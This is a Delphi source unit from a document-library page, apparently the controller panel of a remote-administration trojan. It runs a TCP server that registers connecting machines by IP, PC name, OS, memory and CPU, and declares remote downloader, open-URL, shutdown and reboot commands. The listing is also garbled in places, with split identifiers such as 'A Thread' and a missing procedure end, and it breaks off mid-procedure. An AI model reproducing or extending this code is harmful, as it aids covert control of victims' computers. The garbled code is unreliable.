当前位置：文档库 › unit Unit1

unit Unit1

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, SkinData, DynamicSkinForm, Menus, SkinCtrls, SkinExCtrls, ComCtrls, SkinBoxCtrls, SkinMenus, StdCtrls, Mask, IdComponent, IdTCPServer, IdBaseComponent, IdAntiFreezeBase, IdAntiFreeze, IdThreadMgr, IdThreadMgrDefault, ImgList, sppngimagelist;

type

TForm1 = class(TForm)

SkinForm: TspDynamicSkinForm;

SkinData: TspSkinData;

CompressedStoredSkin: TspCompressedStoredSkin;

spSkinMainMenuBar1: TspSkinMainMenuBar;

MainMenu: TspSkinMainMenu;

File1: TMenuItem;

Options1: TMenuItem;

Help1: TMenuItem;

N1: TMenuItem;

Exit1: TMenuItem;

ools1: TMenuItem;

spSkinToolBar1: TspSkinToolBar;

spSkinMenuSpeedButton1: TspSkinMenuSpeedButton;

spSkinSpeedButton2: TspSkinSpeedButton;

spSkinMenuSpeedButton2: TspSkinMenuSpeedButton;

spSkinSpeedButton1: TspSkinSpeedButton;

spSkinStatusBar1: TspSkinStatusBar;

StatusPanel1: TspSkinStatusPanel;

StatusPanel2: TspSkinStatusPanel;

StatusPanel3: TspSkinStatusPanel;

spSkinPanel1: TspSkinPanel;

spSkinPanel2: TspSkinPanel;

HostList: TspSkinListView;

ALLCheck: TspSkinCheckRadioBox;

control: TspSkinComboBox;

PopupMenu1: TspSkinPopupMenu;

xxxxxxxxx1: TMenuItem;

ccccccccccccc1: TMenuItem;

PortEdit: TspSkinEdit;

spSkinLabel1: TspSkinLabel;

IsListenBtn: TspSkinButton;

IdAntiFreeze1: TIdAntiFreeze;

IdTCPServer1: TIdTCPServer;

IdThreadMgrDefault1: TIdThreadMgrDefault;

ImageList1: TImageList;

UNCheck: TspSkinSpeedButton;

procedure FormCreate(Sender: TObject);

procedure IdTCPServer1Connect(AThread: TIdPeerThread);

procedure IdTCPServer1Disconnect(A Thread: TIdPeerThread);

procedure IdTCPServer1Execute(AThread: TIdPeerThread);

procedure IsListenBtnClick(Sender: TObject);

procedure ALLCheckClick(Sender: TObject);

procedure UNCheckClick(Sender: TObject);

procedure OpenUrlClick(Sender: TObject);

procedure Downloaderclick(Sender: TObject);

procedure AdjustToken;

procedure shutdown;

procedure reboot;

procedure controlChange(Sender: TObject);

procedure unconnect;

private

{ Private declarations }

public

{ Public declarations }

end;

TClientSession = Class

ClientSocket: TCustomWinSocket;

CListItem: TListItem;

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);

begin

//spSkinPanel1.Height:=0;

end;

procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread);

begin

A Thread.Connection.MaxLineLength := 1024*1024; //数据时最大缓冲区长度(字节数) A Thread.Connection.WriteLn('MAININFO|' + IntToStr(Athread.Handle));

end;

procedure TForm1.IdTCPServer1Disconnect(A Thread: TIdPeerThread);

begin

if Athread.Data <> nil then

begin

TListItem(Athread.Data).Delete;

end;

try

IdTCPServer1.Threads.LockList.Remove(Athread);

finally

IdTCPServer1.Threads.UnlockList();

end;

procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);

var

Buffer:AnsiString;

Len: integer;

item: TListItem;

ReadBuf:string;

IP,PcnName,OS,Memery,CPU,Mark,Verson:string;

begin

try

Buffer := Trim(Athread.Connection.ReadLn);

except

Athread.Connection.Disconnect;

exit;

end;

Len := Length(Buffer);

if Copy(Buffer, 1, 8) = 'MAININFO' then //上线信息

begin

item := HostList.Items.Add;

item.ImageIndex := 0;

item.Caption := Athread.Connection.Socket.Binding.PeerIP; //IP地址

item.SubItems.Add(' ');

item.SubItems.Objects[0] := Athread;

Athread.Data := item;

ReadBuf := Copy(PChar(Buffer), 10, len);

IP:=Copy(ReadBuf,1,Pos('|',ReadBuf)-1);